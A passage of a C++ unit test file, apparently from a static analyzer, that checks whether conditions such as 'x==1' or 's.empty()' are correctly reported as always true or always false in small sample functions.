(c.g() && c.h()) {}\\n\"\n \" else {\\n\"\n \" bool u = false;\\n\"\n \" if (d && e)\\n\"\n \" u = true;\\n\"\n \" if (u) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #11741\n \" i = -i - 1;\\n\"\n \" if (i < 0 || i >= 20)\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace S { int s{}; };\\n\" // #11046\n \"void f(bool b) {\\n\"\n \" if (S::s) {\\n\"\n \" if (b) {\\n\"\n \" if (S::s) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Condition 'S::s' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10811\n \" int i = 0;\\n\"\n \" if ((i = g(), 1) != 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:22]: (style) Condition '(i=g(),1)!=0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(unsigned i) {\\n\"\n \" const int a[2] = {};\\n\"\n \" const int* q = a + i;\\n\"\n \" if (q) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Condition 'q' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12786\n \" const int b[2] = {};\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Condition 'b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int j = 0;\\n\"\n \" switch (i) {\\n\"\n \" case 1:\\n\"\n \" j = 0;\\n\"\n \" break;\\n\"\n \" default:\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \" if (j != 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const char *s1 = foo();\\n\"\n \" const char *s2 = bar();\\n\"\n \" if (s2 == NULL)\\n\"\n \" return;\\n\"\n \" size_t len = s2 - s1;\\n\"\n \" if (len == 0)\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int h();\\n\" // #12858\n \"bool g() {\\n\"\n \" bool b{};\\n\"\n \" try {\\n\"\n \" int x = h();\\n\"\n \" switch (x) {\\n\"\n \" default:\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" b = false;\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" if (g()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x, int y) {\\n\" // #11822\n \" if (x) {\\n\"\n \" switch (y) {\\n\"\n \" case 1:\\n\"\n \" return 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" \\n\"\n \" if (y)\\n\"\n \" return 8;\\n\"\n \" \\n\"\n \" if (x)\\n\"\n \" return 9;\\n\"\n \" \\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\" // #10561\n \"bool h();\\n\"\n \"int f() {\\n\"\n \" bool b = false;\\n\"\n \" try {\\n\"\n \" switch (g()) {\\n\"\n \" default:\\n\"\n \" b = h();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {}\\n\"\n \" return b ? 1 : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" const S* get2() const {\\n\"\n \" if (mS)\\n\"\n \" return mS;\\n\"\n \" return this;\\n\"\n \" }\\n\"\n \" S* mS = nullptr;\\n\"\n \"};\\n\"\n \"void f2() {\\n\"\n \" const S s;\\n\"\n \" const S* sp2 = s.get2();\\n\"\n \" if (sp2) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:12:9]: (style) Condition 'sp2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int i);\\n\"\n \" bool g() const { return !m.empty(); }\\n\"\n \" std::set m;\\n\"\n \"};\\n\"\n \"void S::f(int i) {\\n\"\n \" bool b = g();\\n\"\n \" auto it = m.find(i);\\n\"\n \" if (it != m.end()) {\\n\"\n \" m.erase(it);\\n\"\n \" if (g() != b) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueSymbolic()\n {\n check(\"void f(const uint32_t x) {\\n\"\n \" uint32_t y[1];\\n\"\n \" y[0]=x;\\n\"\n \" if(x > 0 || y[0] < 42){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:4:22]: (style) Condition 'y[0]<42' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if(x < y && x < 42) {\\n\"\n \" --x;\\n\"\n \" if(x == y) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:4:14]: (style) Condition 'x==y' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) { if (a == b && a && !b){} }\");\n ASSERT_EQUALS(\"[test.cpp:1:41] -> [test.cpp:1:46]: (style) Condition '!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f(bool a, bool b) { if(a && b && (!a)){} }\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:1:40]: (style) Condition '!a' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if (x < y) {\\n\"\n \" auto z = y - x;\\n\"\n \" if (z < 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:11]: (style) Condition 'z<1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f(int &index, const int s, const double * const array, double & x) {\\n\"\n \" if (index >= s)\\n\"\n \" return false;\\n\"\n \" else {\\n\"\n \" x = array[index];\\n\"\n \" return (index++) >= s;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:6:26]: (style) Return value '(index++)>=s' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" a *b() const;\\n\"\n \"} c;\\n\"\n \"void d() {\\n\"\n \" a *e = nullptr;\\n\"\n \" e = c.b();\\n\"\n \" if (e) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int i) {\\n\"\n \" if (i < 256)\\n\"\n \" return 1;\\n\"\n \" const int N = 2 * i;\\n\"\n \" i -= 256;\\n\"\n \" if (i == 0)\\n\"\n \" return 0;\\n\"\n \" return N;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\"\n \" if (i < j) {\\n\"\n \" i++;\\n\"\n \" if (i >= j)\\n\"\n \" return;\\n\"\n \" i++;\\n\"\n \" if (i >= j) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int get_delta() {\\n\"\n \" clock_t now_ms = (clock() / (CLOCKS_PER_SEC / 1000));\\n\"\n \" static clock_t last_clock_ms = now_ms;\\n\"\n \" clock_t delta = now_ms - last_clock_ms;\\n\"\n \" last_clock_ms = now_ms;\\n\"\n \" if (delta > 50)\\n\"\n \" delta = 50;\\n\"\n \" return delta;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10555\n check(\"struct C {\\n\"\n \" int GetI() const { return i; }\\n\"\n \" int i{};\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" C *m_PC{};\\n\"\n \" Modify();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void test(); \\n\"\n \"};\\n\"\n \"void D::test() {\\n\"\n \" const int I = m_PC->GetI();\\n\"\n \" Modify();\\n\"\n \" if (m_PC->GetI() != I) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10624\n check(\"struct Data {\\n\"\n \" Base* PBase{};\\n\"\n \"};\\n\"\n \"void f(Data* BaseData) {\\n\"\n \" Base* PObj = BaseData->PBase;\\n\"\n \" if (PObj == nullptr)\\n\"\n \" return;\\n\"\n \" Derived* pD = dynamic_cast(PObj);\\n\"\n \" if (pD) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9549\n check(\"void f(const uint32_t v) {\\n\"\n \" const uint32_t v16 = v >> 16;\\n\"\n \" if (v16) {\\n\"\n \" const uint32_t v8 = v16 >> 8;\\n\"\n \" if (v8) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10649\n check(\"void foo(struct diag_msg *msg) {\\n\"\n \" msg = msg->next;\\n\"\n \" if (msg == NULL)\\n\"\n \" return CMD_OK;\\n\"\n \" msg = msg->next;\\n\"\n \" if (msg == NULL)\\n\"\n \" return CMD_OK;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(bool a, bool b) {\\n\"\n \" if((!a == !b) && !a && b)\\n\"\n \" return 1;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:2:26]: (style) Condition 'b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11124\n check(\"struct Basket {\\n\"\n \"\tstd::vector getApples() const;\\n\"\n \"\tstd::vector getBananas() const;\t\\n\"\n \"};\\n\"\n \"int getFruit(const Basket & b, bool preferApples)\\n\"\n \"{\\n\"\n \" std::vector apples = b.getApples();\\n\"\n \" int apple = apples.empty() ? -1 : apples.front();\\n\"\n \" std::vector bananas = b.getBananas();\\n\"\n \" int banana = bananas.empty() ? -1 : bananas.front();\\n\"\n \" int fruit = std::max(apple, banana);\\n\"\n \" if (fruit == -1)\\n\"\n \" return fruit;\\n\"\n \" if (std::min(apple, banana) != -1)\\n\"\n \" fruit = preferApples ? apple : banana;\\n\"\n \" return fruit;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string & s, int i) {\\n\"\n \" const char c = s[i];\\n\"\n \" if (!std::isalnum(c)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11404\n \" int f() const;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void h(std::vector::iterator it) {\\n\"\n \" auto i = (*it)->f();\\n\"\n \" (*it)->g();\\n\"\n \" auto j = (*it)->f();\\n\"\n \" if (i == j) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11384\n check(\"bool f(const int* it, const int* end) {\\n\"\n \"\treturn (it != end) && *it++ &&\\n\"\n \" (it != end) && *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12116\n check(\"void f(int n) {\\n\"\n \" for (int i = 0; i < N; ++i) {\\n\"\n \" if (i < n) {}\\n\"\n \" else if (i > n) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12681\n check(\"void f(unsigned u) {\\n\"\n \" if (u > 0) {\\n\"\n \" u--;\\n\"\n \" if (u == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned u) {\\n\"\n \" if (u < 0xFFFFFFFF) {\\n\"\n \" u++;\\n\"\n \" if (u == 0xFFFFFFFF) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\" // #12937\n \" bool c = !a && b;\\n\"\n \" if (a) {}\\n\"\n \" else {\\n\"\n \" if (c) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned x) {\\n\" // #13522\n \" unsigned u = x;\\n\"\n \" int i = u - 0;\\n\"\n \" if (i < 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueInfer() {\n check(\"void f(int x) {\\n\"\n \" if (x > 5) {\\n\"\n \" x++;\\n\"\n \" if (x == 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:15]: (style) Condition 'x==1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5) {\\n\"\n \" x++;\\n\"\n \" if (x != 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:15]: (style) Condition 'x!=1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #6890\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x == -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x==-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x != -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x!=-1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x >= -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x>=-1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x>-1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x < -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x<-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x <= -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x<=-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > 7) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x>7' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > 9) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > 10) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11100\n check(\"struct T {\\n\"\n \" bool m{};\\n\"\n \" void f(bool b);\\n\"\n \" bool get() const { return m; }\\n\"\n \" void set(bool v) { m = v; }\\n\"\n \"};\\n\"\n \"void T::f(bool b) {\\n\"\n \"\tbool tmp = get();\\n\"\n \"\tset(b);\\n\"\n \"\tif (tmp != get()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9541\n check(\"int f(int pos, int a) {\\n\"\n \" if (pos <= 0)\\n\"\n \" pos = 0;\\n\"\n \" else if (pos < a)\\n\"\n \" if(pos > 0)\\n\"\n \" --pos;\\n\"\n \" return pos;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:16]: (style) Condition 'pos>0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9721\n check(\"void f(int x) {\\n\"\n \" if (x > 127) {\\n\"\n \" if ( (x>255) || (-128>x) )\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:30]: (style) Condition '-128>x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8778\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 19; ++i)\\n\"\n \" if(i<=18) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Condition 'i<=18' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8209\n check(\"void f() {\\n\"\n \" for(int x = 0; x < 3; ++x)\\n\"\n \" if(x == -5) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Condition 'x==-5' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8407\n check(\"int f(void) {\\n\"\n \" for(int i = 0; i <1; ++i)\\n\"\n \" if(i == 0) return 1; \\n\" // <<\n \" else return 0;\\n\"\n \" return -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Condition 'i==0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(unsigned int u1, unsigned int u2) {\\n\"\n \" if (u1 <= 10 && u2 >= 20) {\\n\"\n \" if (u1 != u2) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:3:16]: (style) Condition 'u1!=u2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10544\n check(\"void f(int N) {\\n\"\n \" if (N > 0) {\\n\"\n \" while (N)\\n\"\n \" N = test();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11098\n check(\"void f(unsigned int x) { if (x == -1u) {} }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int *p, const int *q) {\\n\"\n \" return p != NULL && q != NULL && p == NULL;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:40]: (style) Return value 'p==NULL' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #11789\n \" std::vector v;\\n\"\n \" void f(int i) const;\\n\"\n \"};\\n\"\n \"void S::f(int i) const {\\n\"\n \" int j = i - v.size();\\n\"\n \" if (j >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12039\n \" if ((128 + i < 255 ? 128 + i : 255) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12727\n \" bool f() const {\\n\"\n \" return g() > 0;\\n\"\n \" }\\n\"\n \" std::size_t g() const {\\n\"\n \" return 5 - h();\\n\"\n \" }\\n\"\n \" std::size_t h() const {\\n\"\n \" if (x > 7)\\n\"\n \" return 5;\\n\"\n \" return (5 + x) % 5;\\n\"\n \" }\\n\"\n \" std::size_t x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueContainer() {\n // #9329\n check(\"void c1(std::vector&);\\n\"\n \"void c2(std::vector&);\\n\"\n \"void foo(int flag) {\\n\"\n \" std::vector g;\\n\"\n \" if (flag)\\n\"\n \" c1(g );\\n\"\n \" else\\n\"\n \" c2(g );\\n\"\n \" if ( !g.empty() )\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int flag) {\\n\"\n \" std::vector g;\\n\"\n \" if (flag)\\n\"\n \" c1(g );\\n\"\n \" else\\n\"\n \" c2(g );\\n\"\n \" if ( !g.empty() )\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void g();\\n\"\n \" void f(bool b) {\\n\"\n \" v.clear();\\n\"\n \" g();\\n\"\n \" return !v.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10409\n check(\"void foo(const std::string& s) {\\n\"\n \" if( s.size() < 2 ) return;\\n\"\n \" if( s == \\\"ab\\\" ) return;\\n\"\n \" if( s.size() < 3 ) return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& s) {\\n\"\n \" if( s.size() < 2 ) return;\\n\"\n \" if( s != \\\"ab\\\" )\\n\"\n \" if( s.size() < 3 ) return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10226\n check(\"int f(std::vector::iterator it, const std::vector& vector) {\\n\"\n \" if (!(it != vector.end() && it != vector.begin()))\\n\"\n \" throw 0;\\n\"\n \" if (it != vector.end() && *it == 0)\\n\"\n \" return -1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Condition 'it!=vector.end()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11303\n check(\"void f(int n) {\\n\"\n \" std::vector buffer(n);\\n\"\n \" if(buffer.back() == 0 ||\\n\"\n \" buffer.back() == '\\\\n' ||\\n\"\n \" buffer.back() == '\\\\0') {}\\n\"\n \"}\\n\");\n if (std::numeric_limits::is_signed) {\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Condition 'buffer.back()=='\\\\0'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n } else {\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (style) Condition 'buffer.back()=='\\\\0'' is always false\\n\", errout_str());\n }\n\n // #9353\n check(\"struct X { std::string s; };\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" if (!it->s.empty()) {\\n\"\n \" if (!it->s.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:5:17]: (style) Condition '!it->s.empty()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct X { std::string s; };\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" if (!it->s.empty()) {\\n\"\n \" if (!it->s.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:5:17]: (style) Condition '!it->s.empty()' is always true [knownConditionTrueFalse]\\n\", \"\", errout_str());\n\n // #10508\n check(\"bool f(const std::string& a, const std::string& b) {\\n\"\n \" return a.empty() || (b.empty() && a.empty());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:2:46]: (style) Return value 'a.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" struct iterator;\\n\"\n \" iterator begin() const;\\n\"\n \" iterator end() const;\\n\"\n \"};\\n\"\n \"A g();\\n\"\n \"void f(bool b) {\\n\"\n \" std::set s;\\n\"\n \" auto v = g();\\n\"\n \" s.insert(v.begin(), v.end());\\n\"\n \" if(!b && s.size() != 1)\\n\"\n \" return;\\n\"\n \" if(!s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::string s) {\\n\"\n \" if (s.empty())\\n\"\n \" return -1;\\n\"\n \" s += '\\\\n';\\n\"\n \" if (s.empty())\\n\"\n \" return -1;\\n\"\n \" return -1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) Condition 's.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(std::string& p) {\\n\"\n \" const std::string d{ \\\"abc\\\" };\\n\"\n \" p += d;\\n\"\n \" if(p.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:15]: (style) Condition 'p.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f(int i, FILE* fp) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" s += std::to_string(i);\\n\"\n \" s += \\\"\\\\n\\\";\\n\"\n \" return fwrite(s.c_str(), 1, s.length(), fp) == s.length();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string& s) {\\n\" // #9148\n \" if (s.empty() || s.size() < 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:2:31]: (style) Condition 's.size()<1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void bar(std::vector& vv) {\\n\" // #11464\n \" class F {\\n\"\n \" public:\\n\"\n \" F(int, std::vector& lv) : mV(lv) {\\n\"\n \" mV.push_back(0);\\n\"\n \" }\\n\"\n \" private:\\n\"\n \" std::vector& mV;\\n\"\n \" } fi(1, vv);\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::vector v;\\n\"\n \" bar(v);\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct F {\\n\"\n \" F(int, std::vector&lv) : mV(lv) {\\n\"\n \" mV.push_back(0);\\n\"\n \" }\\n\"\n \" std::vector& mV;\\n\"\n \"};\\n\"\n \"void g(std::vector& vv) {\\n\"\n \" F(1, vv);\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" g(v);\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueLoop()\n {\n check(\"long foo() {\\n\"\n \" bool bUpdated = false;\\n\"\n \" long Ret{};\\n\"\n \" do {\\n\"\n \" Ret = bar();\\n\"\n \" if (Ret == 0) {\\n\"\n \" if (bUpdated)\\n\"\n \" return 1;\\n\"\n \" bUpdated = true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" bUpdated = false;\\n\"\n \" }\\n\"\n \" while (bUpdated);\\n\"\n \" return Ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo() {\\n\"\n \" bool bFirst = true;\\n\"\n \" do {\\n\"\n \" if (bFirst)\\n\"\n \" bar();\\n\"\n \" if (baz())\\n\"\n \" break; \\n\"\n \" bFirst = false;\\n\"\n \" } while (true);\\n\"\n \" return bFirst;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void * pool = NULL;\\n\"\n \" do {\\n\"\n \" pool = malloc(40);\\n\"\n \" if (dostuff())\\n\"\n \" break;\\n\"\n \" pool = NULL;\\n\"\n \" }\\n\"\n \" while (0);\\n\"\n \" if (pool) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8499\n check(\"void f(void)\\n\"\n \"{\\n\"\n \" for (int i = 0; i < 2; ++i)\\n\"\n \" {\\n\"\n \" for (int j = 0; j < 8; ++j)\\n\"\n \" {\\n\"\n \" if ( (i==0|| i==1)\\n\" // << always true\n \" && (j==0) )\\n\"\n \" {;}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:20] -> [test.cpp:7:27]: (style) Condition 'i==1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10863\n check(\"void f(const int A[], int Len) {\\n\"\n \" if (Len <= 0)\\n\"\n \" return;\\n\"\n \" int I = 0;\\n\"\n \" while (I < Len) {\\n\"\n \" int K = I + 1;\\n\"\n \" for (; K < Len; K++) {\\n\"\n \" if (A[I] != A[K])\\n\"\n \" break;\\n\"\n \" } \\n\"\n \" I = K; \\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #11434\n \" 